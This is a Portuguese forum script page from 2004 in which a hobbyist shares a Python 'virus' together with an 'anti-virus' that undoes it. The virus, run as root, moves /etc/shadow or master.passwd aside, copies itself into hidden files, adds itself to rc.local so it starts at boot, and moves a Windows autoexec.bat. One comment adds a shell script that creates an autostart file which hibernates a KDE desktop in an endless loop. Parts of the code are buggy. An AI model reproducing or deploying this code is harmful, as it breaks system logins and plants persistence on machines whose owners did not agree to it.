Virus, trojan, sei lá o que é isso, PARTE II

Publicado por Ricardo Henrique 22/08/2004

[ Hits: 10.526 ]

Download virus1.zip




A Atualização do Virus em python publicado por mim :-)
LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU

LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT
AJUDAS SAO BEM VINDAS
SE EXECUTAR O ARQ VIRUS.PY USE o ANTI-VIRUS.PY

LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU
LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT

OBRIGADO PELAS SUGESTOES!!!!!
VALEU....... AJUDAS SAO BEM VINDAS

  



Esconder código-fonte

#ARQUIVO VIRUS.PY
#------------------------------------------------
#!/usr/bin/env python
import os 
#####################################
#Virus and python                   #
#version 1.0                        #
#                                   #
#Colaborações sao bem vindas        #
#                     #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o  #
#arquivo do windows autoexec.bat    #
#                #
#NAO ME RESPONSABILIZO PELOS        #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
#                #
#REGISTRADO PELA A LICENCA GPL      #
#OBRIGADO PELAS COLABORACOES        #
#####################################
def linux():
   try:
    os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
    list()   # Vai para a funcao list()
   except:
    bsd()   

def bsd():
   try:
    os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
    list() # Vai para a funcao list()
   except:
    list()

def list(): # Funcao lista
   arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
   lis = os.listdir('/etc/') #Lista o que tem no /etc/
   aa = "%s" %(lis)
   arq.write(aa) # Grava no arquivo
   arq.close()
   os.system('cp virus.py .arq.py') # Copia o virus
   os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
   os.system('cp .arq.py /etc/rc.d/.conf.py')
   
   os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
   rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
   rc1 = "python /etc/rc.d/.conf.py\n"
   aaa = "%s" %(rc1)
   rc.write(aaa)
   rc.close()
   
   os.system('chmod -x .arq.py') # muda as permisoes
   os.system('chown root.root .arq.py') # muda o usuario
   procura()

def procura():
   try:
    os.system('mkdir /win')
    os.sytem('mount /dev/hda1 /win')
    os.system('mv /win/autoexec.bat .autoexec.bat') # Num preciso nem falar
    os.system('rm -rf /win')
   except:
    exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog

def dig():
   linux() # Colocar alguma coisa

dig()

#ARQ ANTI-VIRUS.PY
#-----------------------------------------------
#!/usr/bin/python

################################
#Quem Cria também distroi      #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione          #
#OBRIGADO PELAS COLABORACOES   #
################################
import os

def linux():
        try:
         os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
         #os.remove('/etc/shadow') # Remove o arquivo etc shadow
         list() # Vai para a funcao list()
        except:
         bsd()

def bsd():
        try:
         os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
         #os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
         list() # Vai para a funcao list()
        except:
         list()

def list(): # Funcao lista
        os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
        
   os.system('rm -rf .arq.py') # Remove o virus
        os.system('rm -rf ../.conf.py'); # remove o virus
        os.system('rm -rf /etc/rc.d/.conf.py')

        os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
        procura()

def procura():
        try:
    os.system('mkdir /win')
    os.system('mount /dev/hda1 /win')
         os.system('cp .autoexec.bat /win/autoexec.bat') # Num preciso nem falar
    os.system('rm -rf /win')
        except:
         exit 

def dig():
        linux() # Colocar alguma coisa

dig()

Scripts recomendados

Meu programa de Matematica

Servidor REST com Flask

Calculadora em Python

Criando um jogo de Jokenpo

Calculando IMC Python


  

Comentários
[1] Comentário enviado por hugh em 26/08/2004 - 11:13h

Muda o nome desse script!
Mais fácil você mandar um e-mail pra "vítima" pedindo pra ele formatar o HD!

[2] Comentário enviado por lestatwa em 03/03/2010 - 08:53h

Nem vírus, nem trojan.

[3] Comentário enviado por Miojo em 17/03/2010 - 21:16h

#!/bin/sh
# Criado por Artur Gaspar
# Um simples script de vírus para Linux. Não sei nem se funciona :D.
# O `echo ' '' '' '' ''powerdevil.Hibernate()'` é para ele funcionar quando copiado do Viva o Linux (http://www.vivaolinux.com.br/), que remove os espaços.
cat <<EOF > $HOME/.kde4/Autostart/virus.py
#!/usr/bin/python
sessionBus = dbus.SessionBus()
powerdevil = sessionBus.get_object('org.kde.powerdevil', '/org/freedesktop/PowerManagement')
while True:
`echo ' '' '' '' ''powerdevil.Hibernate()'`
EOF

chmod +x $HOME/.kde4/Autostart/virus.py


[4] Comentário enviado por fchevitarese em 07/07/2010 - 10:27h

Pra mim isto não chega a ser um vírus até porque, para ele realizar as operações programadas no script é necessário rodá-lo como root...

É só minha humilde opinião ;)


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts